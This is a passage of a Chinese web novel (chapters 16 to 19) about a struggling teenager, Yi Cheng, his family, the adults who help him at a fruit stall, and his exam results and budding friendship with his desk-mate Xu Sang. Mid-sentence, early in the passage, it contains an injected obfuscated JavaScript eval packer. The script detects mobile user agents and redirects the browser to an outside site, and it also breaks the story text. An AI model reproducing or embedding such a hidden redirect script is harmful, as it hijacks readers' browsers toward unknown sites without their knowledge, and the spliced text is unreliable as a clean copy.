这一夜,睡得并不安稳。 梦里,易承手上拖着麻布袋子,里面塞满了纸壳子、旧衣服或是些瓶瓶罐罐,被踩扁或强行压缩后,硬邦邦一大袋,光扛上肩,就费了老大的劲儿。 腾不出手,他把手机放进没封口、底下却压实了的袋子里,按照惯例,扛着今日记不清第十几次的“战利品”,轻车熟路地往“杨氏废品回收”店门处走。 经营这家店的老板脾气很好,比起同区其他店,收的价要高几分钱。成货好的,还会在结算时加加价。 “这么能干啊?”杨越跨着大步,走过来,接过这大袋时,被重得“咬牙切齿”,腰都跟着下凹了几个幅度,他背着走到大称上,背部松下来,才哎哟叹了两声,“重得我差点儿没起来!” 易承手握成拳,隐隐绕到身后敲了敲脊背,闻声笑道:“不至于吧杨叔。” “至于,至于!”他看了眼称上的数目,侧身又从一旁取过小本子,记了两笔,说道:“价还是没变,我卖你九毛,比市价高了一些。统共算下来,今天这十几堆是,嗯,400块。” 杨越含起老式烟斗,用力嘬了一口后,拉开大皮包拉链,取了一堆百元钞票,含糊不清地说,“上个月你放我这儿的钱,今儿个一并结给你。你点点,还不少哩!” 易承点头,接过厚厚一沓红钞票,眼里压不住的喜,“点就不必了,谢谢杨叔!” “还有闲心在这儿说谢。”杨越摇摇头,往前一步搭上他的肩,声音低沉,“快去把你妈接进医院,有钱了,病自然会好的。快去!” 易承微滞,退后一步,朝他深深鞠了一躬,“谢谢杨叔,今日之恩,我易承来日百倍偿还。” 说完,他将钱规规整整塞进了布包里,往腰上缠紧,就快步往家里跑。 在原地顿了许久的杨越,取下烟斗,抹了把眼里窝着的泪,叹了口气走回去,把这袋纸壳子提溜齐整,刚想倒出来,就见里面规矩躺着、蒙了一层废纸灰的手机。 他“诶”了一声,回头,路上连个鬼影子都没有,更别提人了。 正巧这时,他妻子回来,杨越朝她笑笑,忙道:“承小子手机落下了,我给人送回去,你看着店啊!” 女人甩了甩马尾,把一袋子青菜扔到架子上,顺便掏出个罐子递给他,回道: “好,我守店。你也别空手去,这里有点儿肉干,反正你牙口不好,多吃两根牙都崩没了,还不如给承小子送过去!” 杨越:“……好。” 转道回家,易承单手护着布袋里有几分重量的钱,嘴角一直勾着,没压下来。 愉快地哼着小曲儿,推开家里的门时,秋秋正抱着苹果啃,苹果个儿大,她两手托着才堪堪卡住,嘴小牙也不利落,有时候咬下一口,只堪堪啃落一条红色的皮儿。 他迈着轻快的步子上前,轻摸了下她的头,问道:“秋秋,要哥削皮吗?” “不用。”秋秋抬起头,葡萄大的眼水灵灵的,“妈妈说,苹果皮吃了对身体好。” “那妈妈肯定忘告诉你,没皮的苹果好吃。”易承把店门口的遮帘放下,随手捞了颗葡萄,用纸擦擦便丢嘴里。 “易承,又忽悠你妹妹了。”披着件带毛的外大衣,宋语安走出来,勉强勾出一抹笑,“我可没说这话……” “反正是真理,我替您说了。”易承吐出苦滋滋的葡萄籽,背倚着架子。 “你这张嘴——”宋语安话没说完,眉头突然皱起,偏过头,翻过手背盖上口鼻,重重咳了几声后,她腰往下弯,用随手带着的纸巾擦着嘴。 易承余光瞥见这一点,想也没想一步跨过来,轻扶住她肩。 秋秋闻声没抱住苹果,人还矮巴巴一个,跑过来,皱着张小脸,双手抱住宋语安的腿,仰头,“妈妈。” “我没事儿。”宋语安虚闭了下眼,挣扎着又睁开,刚想拂开易承的手,一声咳嗽又抑制不住地“吐”出来,她身子轻飘飘颤抖着,“我…我没……” 易承凝眉,抬起她的手臂,弯下腰将人背了起来,冷静道:“别说话。” 他抬手将那件外大衣拉到她脖颈上,托着人往上提了些,转头对秋秋说,“秋秋,乖,回屋写作业,等会哥给你带糖回来。” “好。” 秋秋眼里包着泪,忍着没流下来,一步三回头地往后退到屋内,犹豫了一会儿才关上门。 易承松了口气,掀开帘子出去,刚锁了门店,走了没两步,路口的路灯闪着闪着就熄两秒、亮起来也是暗黄的光线。 而在光线之下,立着三五个人,偏黄黑的脸上,缠绕着一圈又一圈的烟雾。 易承往后退了一小步,屏息间,能感受到背上的人偏向和缓的呼吸,他没多想,晃了两步虚招,就背着这条道跑了几个大步。 黑哥们连忙调转方向,内部急转没太反应过来,七七八八撞了个“响”头,互相骂了几句脏,才继续追人。 串了街道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069711|163142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,易承没再多跑,在电线杆旁停下,看着一众人冷声:“有病?” “有病?有什么病,我没病啊!” “啊?我有病?我怎么不知道……” 领头大哥两脚迈出,一脚踹飞一个,朝两边吐了两口口水,才转回头看向易承,骂道:“小子,老子警告你,好好说话。” 易承冷呵一声,神色严肃,“滚。” “滚?”领头大哥上前一步,视线从上向下,从他背上的人到腰上的布袋都看了个遍,忽地笑了,笑声雷动,“把钱给我,我就滚。” “不可能。”易承脚下错了些步子,搬了一天重物,此刻肩背酸痛,连着手上都没太多劲儿,软趴趴的。 他轻皱眉,齿间嵌进内嘴皮里,清醒回力后,他道:“欠的钱,日后我会还;但现在不行。” “现在不行。”领头大哥背着手上前,面目狰狞了些。 “要送你妈进医院啊?老子可不准,谁他妈不知道,医院就是个吸血的地方,只要人进去了,不吸个倾家荡产,人能完整出来?老子反正不信。放你妈进医院,你哪来的钱还老子!!” “来,兄弟们,把人给我拦下,跑出去一步,老子断了你们的粮,听明白了吗?” 他话一落,连同地上的两个“翻壳王八”都一个鲤鱼打挺原地弹起来,随即,几人两臂打开,互相交握着,将本就逼仄的空间缩得更小了。 易承吞咽了口口水,蹲下身将宋语安轻轻放下,借着起身的刹那,抬脚踹向最先窜进来的人的手,而后,转身就按上那人的肩,用力来了个过肩摔 ……人交替着上前,甚至还有两人一齐发力的,他体力逐渐透支,手臂上连续承了几道重击,不知是谁绕到旁,没有分寸地用头撞向他后腰。 刺痛兼着震痛,一并涌入神经,他受不住地软下力来,可内心深处的情绪,却让他本能地固守原地,哪怕以身扛击,也没让人越过他守着的区域。 …… 床头柜上的手机忽地亮了,缠在手腕上的表剧烈震颤着。 易承从清晰的体感中猛地惊醒,连着呼吸几口,才吐出那口压在胸口的浊气。 约莫一分钟后,他才平稳下呼吸,抬手用手背抹了把额间的发,下床,看了眼手机上亮着的时间:“04:03”。 拍亮房间里的灯,易承进了浴室,洗了个冷水澡后,用毛巾擦头时,洗漱着。 直到跨出门,看到门口马路上停着的货车时,他才从迷乱中抽离,五感具体起来,他拉开副驾的门,坐上去,笑着道:“杨叔,早啊!” “早。”杨越启动车子,开了有几米距离,打完哈欠,说:“你不困吗?天气冷了,今早在床上蹬了半天才爬起来……” 易承抹了把头发,倚着窗,回道:“有点儿,不过风一吹就醒了。” “这个确实是,毕竟天冷了嘛。” 等到了城西的批发市场,易承睁眼,将手机里记录好的水果种类和数量翻出,复习一遍后,就收了手机。 这家批发市场,很大,但商贩都是零碎的,一条道贯通下去,批发的东西几乎没有关联。 杨越只管开车,从左开到右,打直两步,又从右开到左。 易承则看着这些卖的东西,锁定要买的,就推开车门,跳下去,谈拢价格后,就把货物搬上车…… 行云流水完,货车上满了个十之八九,而这时,易承才偏着头,将一直放在安全带旁的小毯子捞起来,盖住头继续睡。 车外依旧静悄悄的,太阳没有露面的迹象,远端的月亮,弯弯的。 杨越看了眼时间,“06:10”,确定不会耽误店面摆货后,把车速放慢了些。 17、第17章 入秋后的早晨,橘红色的天光,可真能值上千金。甚至于,千金一掷,都难买一丝,同那一寸流逝一寸金的光阴一般难得。 车子稳稳停在“一个水果店”后门处,杨越拔掉车钥匙,侧过上半身,将人细细看着。 披着小毛毯,脑袋和脖颈都给蒙得严严实实,看不出个所以然来;往下些,灰色外套半敞开,隔着一件白色t恤,能依稀窥见胸口起伏。 果然还是个十七八岁的少年,爱睡。 看了有那么久,他用胳膊肘怼开车门,弓着背下去,绕了一圈到车尾,把围着一周的护板放下,就着那一筐香蕉往下抱。 才走没两步,箱子重量将腰压弯到几乎与地面平行的弧度,杨越感觉后腰扯了一道筋,而后带着两用力的手臂一缩,力气骤地锐减。 他咬牙,耐不住软着的骨肉根本使不上劲儿来,箱子随着重力往下落去—— 着地前夕,易承快步赶来,单手托底,另一手灵活按上边缘。 虽然两力对冲,手腕被迫往下压了些,但好在少年力不小,堪堪将箱子接住。 顺势将香蕉箱搬上果摊,易承头微偏,活动了下肩颈,笑着道:“趁我睡了,逞能呢?” 杨越双手握拳,往后来回用力敲打扯痛的腰背,听到他的话,绷紧的脸舒展了些,嗓音夹着些颤抖,“怎么跟你杨叔说话的……” 摆谱结束,他慈言:“还好你赶得及时,不然可惜了一箱好香蕉。” “哪里可惜,摔了也能吃。”易承稍微活动两下手腕,就近将车边上的水果搬下来,而后跳上车,把另外一些也挪下来。 去年过后,杨越就有了比较严重的腰伤,刚刚又扯了两下,搬不动东西,便只得坐到一旁,清理些昨天余留的根叶和坏果。 理了有一会儿,他止不住地说:“承小子,你杨叔是越来越不中用了,连箱香蕉都搬不动,还麻烦你——” “杨叔。”易承不消听完都知道他要自怨些什么,轻手轻脚把巨峰葡萄搬下来,脱去外头包着的纸,有模有样地放上架子,语气散漫,“您这话说下去,姨听到了,可有您的骂受。” 这话像是得了哪个大师的点化,刚落了尾音,老远就传来一声吆喝。 ——“哎哟喂,今早上这么早就回来了?” 戚英手上提着两袋小笼包,晃着热气就过来了,看到坐地上愁思未断的杨越,一秒都没犹豫,直接一掌拍他脑门上: “大清早,又垂头丧气干嘛!对门养的狗都知道摇尾巴迎客,你搁这儿吐霉气、倒生意呢!” 还是这声管用,说着说着杨越就站了起来,貌似腰都不疼了,憨憨地笑着,“我笑着呢,招客招客。” “杨叔。”易承从旁笑着,理完葡萄,就挑些重活儿干。 “承小子,来,姨昨下午醒的面,晚上包了馅儿今早就煮上了,尝尝?”戚英把包子们一并放在矮凳上。 到底是干过伙食活儿的人,包子扯的褶子相当漂亮,旋成圈,四五个跟模子里刻出来的一样。 易承拈了一个,包子不大但形好,直接整个丢进嘴里,时间久了,他对烫不烫一事都有些无感,品到内馅儿的味道,嚼完咽下后,道:“纯肉啊,这么舍得!” “那是,专门找老黄要的酱肉料……给你们吃谈什么舍得不舍得。你就跟姨说,好不好吃?”戚英手上搬着小番茄,嘴上却叨叨个不停。 易承腾出手竖了个大拇指:“好吃,辛苦戚姨。” “不辛苦,姨年轻时一天能做几百个,这两袋加起来才二十多个,小菜一碟,小菜一碟!” 易承没止住笑,把两箱白柚摆放好,擦了两把手后,又拿了两个。 退到墙角,他往后靠着,叼着包子边吃边用力揉着肩颈。 手机设的每日闹钟响铃后,易承跟人打了声招呼,就往店外走着。 走出两步,就被唤住——“承小子!把包子带回去!” 戚英跑着过来,把比刚才看时多了至少一半的包子袋递给他,“让秋秋尝尝姨的手艺,听到没有?” 易承看着包子顿了两秒,手指穿过提袋时,“嗯”了声,沉着收回视线,“谢谢戚姨。” “哪那么多谢,都一家人。”戚英上前一步重重拍了一掌他肩,点头时眼眶染了些红,她撩乱头发,“快回去,秋秋爱哭,等会要看不到你,把你家给哭淹了。” “……”易承没绷住,笑了。 “哥!”秋秋套上粉红色秋衣后,张着粗条条的手臂穿外套,眼睛都没睁开,耸着鼻子问:“什么东西好香啊!” 易承捞过梳子,沉默地看着她比鸡窝狗窝鸟窝都乱几倍的头,半分钟后,才认命地抬手给人梳着,道:“戚姨做了包子,说一定要给秋秋尝尝。” “真的吗?”倏忽眼就睁开,秋秋坐床上蹦了两下,“我想吃,啊!” 才握住的一大撮头发被她蹦得散完了,易承抬起梳子,压着劲儿敲了一下她的头:“别乱动。” 左右手各拿一个,嘴里还塞了一个,恨不能在肚子里塞个十来个。 秋秋边吃边有节奏地蹦跶着,“哥,好香,好好吃。” “嗯。”易承把她书包提出来放好,看着她乱七八糟的吃相,扯了张纸给人擦嘴:“慢点吃,别噎着了。” “噎不着。”秋秋蹦着,另抓了两个包子塞到易承手心,“哥,你也吃,别饿死了。” “……饿不死。”易承接过,叼进口中。 十分钟之后,易承抱着两个书包,带着秋秋往学校走。 两天时间,足够年级把成绩排名分班认领、排算好。 要出成绩前,连常年压抑无声的办公室都莫名多了交谈声,跨着三四五桌,几个班的班主任表情凝重。 瞧那藏着掖着的表情,不知道还以为在互相隐藏着本班实力。 五班班主任最为随和,“这有什么,前十肯定得被一班承包,老徐的实力,不容置喙啊!” 二班班主任虚空拍了他一掌,说: “都当班主任还这么单纯,小心这辈子就当个班主任了!这次教学评比,比的不是谁教出第一谁教出前十,比的是指标完成情况。他班一本线二十个指标,咱班十一个,比他好达到得多了!谁一谁二悬念大着呢……” 四班班主任插了一脚来凑热闹:“你脑子长成筛子了,光挑有利的信息记?我记得指标里说,年级第一加十分。一本指标达到才加二十分,这不分分钟追平啊。” …… 眼见几个班的班主任说着说着要吵起来,徐富起身,抱着他新买的超大玻璃杯,慢悠悠走到饮水机旁,扬着嘴角看红色的枸杞在水里沉沉浮浮。 热水一冲,冷水再润,进肚子时,还能闻到枸杞暖暖的香。 徐富回座位时,恰似不经意地笑道:“诶,都别吵,和气生财。” “笑这么高兴,成绩出来了?”二班班主任看了眼他的笑,就条件反射性的胸口闷气。 于是,他连忙推着鼠标把界面刷新了两下,眼见一片空白,忽然跳出一团团黑字和五颜六色的一二本线分界、过线没过线学生兼分数情况……呼吸都停了半分钟,他一眼锁定右上角跳出的班主任得分,惊得嘴都忘合上了:“老徐,你运气怎么这么好!” 他这一眼望下来,自己排在第二位,堪堪拿下71分,结果排他脑袋上的徐富,硬生生就得了72分。 徐富端着笑,“下次再给你传授经验,我马上有课,没时间。” 话刚说完,隔空飞了张废纸团,精准打中徐富胸口。 “……开玩笑,别动气嘛。说多少遍了,和气生财,和气生财,怎么比学生还难教!” 训完,徐富两指弹开纸团,将人憋着气的脸落在眼底,窃窃笑了两声,才神情认真地把刚打印出来的成绩单拿在手上,细心观摩。 方才只关注了自己,这一眼落在成绩单顶上,他才切切实实惊了一跳。 “糟了,今天出成绩啊,我给忘了,现在慌还来得及不!”吕丁坐在座位上,有多动症一样来回滑溜着鞋,偶尔还发出尖锐的呲地声,让听者都跟着头皮发麻兼牙酸。 “你别说话啊,本来不慌的,一说话我就慌。”赵鸿途全然没有心情再刷题,双手来回搓着,像只偷腥的老鼠。 “……”吕丁转过头来,本想找易承借借胆、如果可以的话再借点儿“定心丸”,哪知转头就只见个黑擦擦的头顶,他沉默了几秒,转向许桑,问:“许桑,你慌不慌?” 许桑掀起眼皮,淡淡看他一眼,如实:“不慌。” “怎么做到的?快分享我点儿经验。”吕丁“求知若渴”。 许桑回道:“做题?” “什么题?”吕丁追问。 许桑顿了下,把正在做的卷子翻了个面,转向他。 “嗯……”吕丁看了有一会儿,把卷子转回来,坐着虔诚地朝他鞠了一躬,“牛逼,我连题都看不懂。看得我全身发冷,心都死了,还慌个毛,点儿都不慌了。” 许桑目送他“冷”成冰雕僵硬地转回去,终究是没忍住笑了声:“……” “笑什么?”易承明知故问。 不知人何时醒的,许桑看过去时,易承正单手托着脸,眉眼裹着些惺忪,一侧脸颊上还留了一道衣服褶皱形状的红印子。 他轻转了圈笔,笑容立马收了,“管得着?” “……”这前前后后不过半秒,笑容收放之快,都给易承整笑了,他往后靠了些,懒声:“是,管不着。” 半分钟后,他坐直,又往旁边看了眼,只见人垂眼认真算着题,冷白的手握着笔,随性勾着数字,眨眼间隙长睫轻颤,答案悠然落下。 易承“啧”了一声。 他这同桌,做题时,举止像幅画。 18、第18章 周五临近放假,学校里因此专门列了项安排:提前一节晚自习的时间放学。 要不是出成绩的时间过于神经,这层楼兼楼上几个班的几百号学生本该背上书包听完最后一节课,只待下课铃响,摸出裤兜里的手机就来个跨楼梯型百米障碍冲刺——逃离这栋设施破烂的苦海。 欢快的上课铃打响时,数学课代表一马当先,走上讲台,把周末作业填充在左侧空白的黑板上,而后其他科目课代表也蜂拥而上,用最大的字体,写下最水的作业。 一派派弄完,还没等到姗姗来迟的老徐。 没劲儿赶作业,从始至终都只想补作业的人开始前后左右窃窃私语。 “这成绩再不出来,我的紧张就要过期了……” “我真服了,一个破成绩,还要‘犹抱琵琶半遮面’搞神秘,有那么美吗?说东施效颦都是捧着它了。” “兄弟们,我认真估摸了一下,保底380。” “谁给你的底气,我今早补交数学作业时,听老徐呼着热气在感慨,说什么这次数学平均分绝不超过三十分儿……你什么水平,敢扬言保底380!” “我什么水平,老子数学一直十几分儿,这次选择题蒙对五道,你说老子什么水平!” 对话范围从小蔓延到大,从后排的380吵到前排的680,左倒右腾也不过是些“说低想高”的小心思套路,还有些打赌“谁低谁赢谁高谁输”的反向傲娇心理…… 声音过于大,除非没耳朵,否则怎么着都是要听进去两耳朵的。 许桑转了圈笔,越过形态各异假哭假笑的人脸堆,看向那板粉笔字。 写作业的人大概是为了撑面儿——作业不多点儿,课代表写得都没存在感——简简单单一个“准备整本书单词听写”的作业,某位课代表硬是要从module1一直打顿号写到module6,就差落个单元标题把满板写完了。 花里胡哨一褪去,事实便显而易见:南城附中的周末作业是真的少。 就连隶属于自我省察范围内的“改错”,都能单独列为作业,甚至在某些科目里,还能成为唯一的一项作业。 裤兜里的手机连着震了几下,许桑低眸,借校服袖口挡了两下后,相当有水平地拿到桌肚里,点开消息内容。 是四五个文件,上面标着“青中周考语文/数学/……试卷” 文件加载完毕后,跟梁意杉的聊天框下面冒出一句:“许哥,你要是闲着没事做了,顺便把答案发我。咱们虽异地、但心相连,说不定通过题,还能碰撞出什么思维的火花。” “……”许桑摁灭手机,继续做题。 “要放假了都很躁动是不是!”徐富拿着几张花花绿绿的成绩单,翘着脚登上讲台,摆着张严肃脸: “以为自己考的很好?难是难,但我说句难,怎么在你们耳里就是容许你考3分5分了?” “虚张声势”地把成绩单拍讲台上,徐富双手背在身后,眉间的“川”叠了buff一样无限加粗,他骂道: “咱班上有人是真的厉害,一道选择题,25%的概率,十二道选择题,你能做到全错?!没吃完的鸡爪子在答题卡上踩两脚都不止对一道题!” 也不管自己考的是好是差了,前排不敢笑的,全被后排承包了。 教室里骚动一片,尽是隐忍而夸张的笑声。 “选择全错,我靠!不过还真有可能。我前三道认真做的,全错……后面懵的,全错,就中间半梦半醒做的,对了几道,差那么一丢丢,老徐说的就是我了!” “都笑小声点儿,我脸皮薄。他妈我只对了一道,郁闷啊,不过,能蒙对选择最后一道题,已经很牛逼了是不是!” “笑死我了,全错也是高手啊,这运气,在三个错误答案之间反复横跳……跟那个梗一样,叫什么,在泰坦尼克号上选座位…” “人才啊,人才,这次选择多对几道,感觉都能往上多排个十几名了。不是,这回是真难啊,老徐!” “好了好了,我知道难。”徐富放下手,撑着讲台,语重心长:“但你们好好想想,哪年高考数学卷不难,喊难的人天都要喊翻了,可结果呢,150的还是有,实不相瞒,还比比皆是。难是事实,改变不了。如果学校每回都出几张一加一等于二的卷子,那都全是满分,你们开心了,可那又有什么意义呢?你们最终面对的还是高考,还是难卷。” 苦口婆心把思想建设做完,徐富才把成绩单拿出来。 停了几秒,悬念悬完,他道:“虽然批了骂了你们半天,但这次月考呢,的确有几点让我欣慰的地方。首先是班级平均分还行,这次咱班比二班高了将近5分,之前都只能拉开2、3分的。” “哇呼!一班牛批!” “隔壁二班算个屁!干翻他们!” 徐富敲了下桌面,也不恼,说话前往最后一排扫了一眼,眼神欢愉:“其次呢,很罕见哈,这么难的数学试卷,全年级居然还是能出一个满分。” 数学和满分两个字眼一叠加,教室跟刚煮开的开水一样充分沸腾。 “多少?你说多少?150,靠,分数是我十倍了!” “不是,李云平这么牛逼了,之前差不多一直130+,怎么这次直接冲都150了?” “那话咋说来着,‘比你优秀的人不可怕,可怕的是比你优秀的人比你更努力’。扎心了,哦不对,我的心已经伤透,没心了…” 徐富四下望着,慨叹了句: 站讲台上,他妈跟上帝视角一样。底下的动静一清二楚。 他目光一转,慢慢落到靠门那一大列。战线拉的过于长,他先是与满脸错愣、却又迅速转成压抑着的兴奋的李云平对视了一眼,徐富被惊了一跳后,飞速地往后挪。 视野里含着的少年,坐姿规正,低眸,指尖间的笔频次缓慢,偶尔会在纸上落下一笔,一副“身在喧嚣犹四野无人”的清淡模样; 正看着,视野里忽地闯进半颗头,基本没有时间间隙的,立着的笔杆,利落地“敲”在那头上。 “……”徐富虎躯一震,连忙呵道:“易承!” 莫名其妙被点名,易承站起来,诚心发问:“怎么了?” 等回答的间隙,听到一声没收住的倒吸凉气的感叹:“给我吓撅过去了,我还以为满分是易承”,而后有小声的回复:“他都能150了,我该羞愧得去捡屎了。” 对谈清晰入耳,易承偏头“啧”了一声:“……” 徐富想来气,但苦于说不出理由。 作为一个严肃型班主任,他总不能说:你没事往别人身上靠什么…… 深思熟虑后,他低头看着成绩单,拿出经典话术:“你看看你同桌。” “嗯?”虽然不解,但易承听话地照做,两腿闲着摆着,慵懒地垂眸,看向许桑。 正巧此时一道题做完,许桑朝他看了一眼。 四目相对片刻,许桑骂道:“有病?” “……”易承轻顿,声音莫名委屈:“老徐让我看的。” 许桑看向讲台:“……” 徐富咳了一声,继续刚刚的话,“我一直在教你们,要向榜样学习。易承啊,你看看你,150的卷子,考多少,90分,换算一下才刚刚及格。再看看你同桌,人家才来咱班,说不定连环境都没适应好,但丝毫不影响人考满分——” 这话还没说完,一声连一声的“斯哈”声触发什么机关了似的疯狂喷射出来。 搅得满教室乱成一锅粥。 “我靠!!!” “李云平居然不是第一?活久见啊!” “这新同学,开挂啊!” “他怎么一脸平静,要是我考一百五,高低给把这个教室给炸了助兴!” “嘶……我他妈,有点热血沸腾的感觉!” “嘶,我只觉得血液倒流。哦,你妈的,真流鼻血了!” “收收,收收,在‘嘶’下去,我要缺氧了。”徐富压不住笑容,无比欣慰地看向许桑,道:“许桑啊,非常好,非常非常好。”说完,他三百六十度大变脸,严色厉声地看向易承,“易承,好好向你同桌学习!听到没有?” “谨遵您的教诲。”易承漫不经心地挑眉,坐下时,靠着椅背随意看着许桑。 埋了半节课的铺垫,这都要夸上天的“评价”了…… 他同桌却跟没感觉一样,平淡地向老徐点头致意,而后继续算题。 这是除了题,眼里没别的了? 神经病一样,想法一出,易承往中间挪了些,手搭上人的椅背,轻声道:“同桌。” 讲台上的徐富,正大刀阔斧讲着这次数学题多难多难,还压低声音分析其他几个班最高分不过一百三。 许桑没停下算题,余光瞥见不自觉压近的易承,轻抿唇,淡声:“有事?” “看一眼我。”易承道。 鬼使神差地,许桑落笔,偏过头看向他。 这一眼望得比较局促,视线相交的那刻,两人都有些懵,神同步地撤开了眼眸。 心跳漏了一拍,补上时,带着胸腔起伏加快,许桑捏笔的力气增了些。 方才清明写下的公式,一时不知道乱在了何方。 易承收回手,望向徐富生疏放大投影的成绩单,怪异的,这一眼,除了最顶端的“许桑”,暂时没有其他。 19、第19章 宣告“周末开始”的铃声响起时,徐富无奈地把成绩单分给几个课代表,让其转交任课老师,而后,满脸忧愁地宣布: “好了,放学!” 等教室人七七八八散了个差不多,吕丁拿着辛苦顺来的成绩单,和赵鸿途一同转身。 “是我狗眼看人低了!” “实在太他妈牛逼了!” 两声齐齐落下,其后是三个半磕下来的脑袋。 陈慢补了一句,“真的厉害,之前李云平坐镇咱班数学第一,就那次全区学生都抱怨难度指数爆表的联考,他才考了一百二,虽然也已经是年级第一了。但老徐的意思,这次难度绝对不输那一次,甚至更甚,除此之外,时间还被缩掉了十分钟……总而言之,言而总之,就是nuibility!” 气氛凝滞了两秒,许桑回应:“谢谢。” “我就说‘牛逼炒馆’那次,足够证明许桑的实力了吧,你们还不信,偏说跟你们一个阵营的。”赵鸿途拿着成绩单晃悠,“你们看,这成绩高的都快捅破天花板了!” “嘶,真是自愧不如。不过,慢慢,咱俩总分加起来才比许桑高100来点儿。”吕丁苦脸。 陈慢垂下脑袋,在成绩单中部偏下的位置找到自己:“没事儿,是兄弟就有福同享,有难同当。许桑考了第一,我也跟着沾点儿光。” “我说,你俩……” …… 毕竟就剩半节课时间,易承睡得浅,意识里,周边绕的尽是嘈嚣,音源离得近,忽高忽低…就像脑袋周边围了几头或老或年轻的牛,在“哞哞”地叫。 实在嫌烦了,他坐起来,恰将要收尾的这幕看在眼里。 三个人,像托儿似的疯狂输出,嘴里除了“牛逼”就是“厉害”,将人捧得那是“只应天上有”; 而再看一旁持续被夸着的人,轻散地后倚椅背,有一搭没一搭地回应着,心思却始终黏在那张分不清是数学还是物理的卷子上。 夜还未深,暮色已至。 空荡荡的教室间,五个少年拥在狭窄的倒两排,哄笑声张扬进同样空荡的楼层,像附错身的鬼们。 易承单手托腮,越过无聊的“商业单边吹”,拿走了落在许桑桌面右脚上孤零零的成绩单,扫了一眼。 寻了半天才发现,他刚好挤过人群最拥挤的地方,五百出头的成绩,名次跟他年龄无名贴合——18。 虚岁。 往下十七八位能看到吕丁和陈慢,吕丁靠他一百四的外语和三十七的数学堪堪比陈慢高一个名次;往上十多位能看到赵鸿途,除了物理满分没太多耀眼之处,反观在他上面三位的许桑,除了不知道怎么考出来的语文,其他科都近乎满分。 “反正考完成绩也出来了,我们要不要出去吃一顿?”陈慢捂着叫了不知道多少次的肚子,道:“吃饱才有力气过周末,是不是?” “有道理。”赵鸿途突然伤感起来,“也悼念一下,这次下滑了一个名次。” “滚,别招仇恨!”吕丁虚空踹出一脚,见人跟猴儿一样接了这脚还佯装伤了要害,偷摸乐了两秒,看向另外两人,“易哥,许桑,你们去不去?” 易承展平大长腿,“只要不是‘不是吧自助餐’和‘牛逼炒馆’,我都行。” 许桑“嗯”了一声,“我也是。” “……”吕丁捂脸抹了把不存在的泪水,“杀人诛心啊二位。” 都是走读生,没谁家远在十万八千里外,择地儿就轻松得多。 走近朝昏路,搁前带路的吕丁默默往后退,不知不觉就将易承“让”到了最前面。 大概是气质存在互斥性,许桑不自觉地站到了易承身旁。 朝昏路这名儿起的极差,单靠当下流行的“谐音梗”就足以让胆小儿的人“退避三舍”,更何况老掉牙、土掉渣的街巷风格。 长了眼睛的人都知道,若是扔电视电影里,这破地儿该有什么故事。 反正“很久很久以前”的恐怖片儿是首选,没跑了…… “前面是有鬼吗?”易承给吕丁的操作气笑了。 吕丁硬挺着上半身,“不是,易哥,我对这地儿不熟啊,一不小心捅了贼窝就不好了。反正,我不管,你得在前面坐镇。” “……”易承看着吕丁瑟缩的肩,两手一手拉一个,貌似再多看他两眼,人就要露馅抖成筛子了。 收回视线,他看向身旁的许桑,用手臂蹭了下他,解释道:“吕丁怕鬼,胆儿小的像三岁孩子。” 许桑侧目看了眼,勾唇,道:“看出来了。” 瘸了半个腿儿的路灯忽地闪了一下,也就“半罐水一晃,叮当响”,半截入土般垂暮的光线闪了一瞬。 刚好映亮许桑浅笑着的半边脸。 大概被女鬼附过身,这光影,会调.情——暗色勾边,亮色摹影,肤质如玉,五官如琢。 易承眸光微暗,呢喃:“同桌,你笑起来很好看。” “……”许桑当即收了笑,淡漠地扫了他一眼,“别告诉我,你也怕。” “嗯?” 易承反应了两秒,才弄明白他同桌的脑回路:叫什么“无事献殷勤,非奸即盗”。 他顿了下,笑着打趣道:“要是我真怕呢?” 许桑正色:“关我屁事。” “……”易承脚下一个趔趄,匆匆腾了两脚才走稳当。 轻轻的,他听身旁泛了声笑。 跟出学校那条街不同的是,这带的店变动小,不存在彼街三天两头从“憨批”变成“牛逼”的换店速度。 “这家店烧烤,干净,送酒。味道一般,辣度惊人。”易承走着走着就倚在电线杆上,从这头望到那头,语气慵懒:“中间那家,炒饭一绝,量少价低,还算正常。街尾那家,沙拉拌饭,纯享减肥。其他家的,懒得走了……挑吧?” 吕丁率先发言:“烧烤吧,这选无可选啊,易哥。” “我俩都行。”赵鸿途和陈慢举手示意。 “行,同桌,你呢?”见人一直没说话,易承专门问道:“能吃辣吗?” 许桑点头,“可以。” 意见一统一,人就坐在了位上。 “这么多人?”老板从烤板室走出来时,被这干架似的阵仗吓了一跳,吞完两口口水,才把拿反了的菜单递出去。 易承熟练地勾了几道菜,就把菜单递给一旁的许桑,道:“随便点,我请客。” “嗯。”许桑应了声,从他手里抽出铅笔,凭心情勾了两三样,又传出去。 一圈下来,两分钟后,老板看着迅速传回自己手中的菜单,莫名手足无措,“呃,微辣中辣特辣?” 易承了解那三人的吃辣水平,中和一下许桑的,回道:“中辣。” “好嘞!” 正菜没上上来前,有人欢脱地端了两盘炒花生米上来,说:“免费花生米,想要叫我一声就是。” “谢谢哦。”吕丁两手接过,见桌子实在小了,才舍不得地放弃“再来三盘”的想法。 “许哥,能分享分享学习方法吗?”赵鸿途双手“供”上花生米,虔诚道:“大哥在上,小弟我奉上花生米一盘。” 许桑抽出两根筷子,怼着桌面敲齐,夹了一粒,紫红色米皮脆生生的,贴上筷子就裂了,而后花生米溜回盘子里。 两人都一顿:“……” “看吧看吧,这种场合它就不能谈学习,顶邪门儿。”吕丁伸出筷子,眼疾手快地夹走了那粒儿花生米,摆出架势,“易哥,你拉住许桑,我拉住鸿途,捍卫这桌最后的安宁!” 易承笑了声,两指挪到筷子顶,用另一头轻敲了下许桑的,道:“还吃吗?” 许桑收了筷子,“倒也不用。” 易承“嗯”了声,凭技术连串儿夹了三颗,其中一颗恰好双胞胎,没急着放他碗里,先问了一嘴,“如何?” “……”许桑就着手拿了勺子,接过三粒花生米,道:“厉害,易哥。” 说实话,一直被这么叫早习惯了,但从这人口中出来的音,多多少少有那么丝不一样……易承品了两秒,低头笑着。 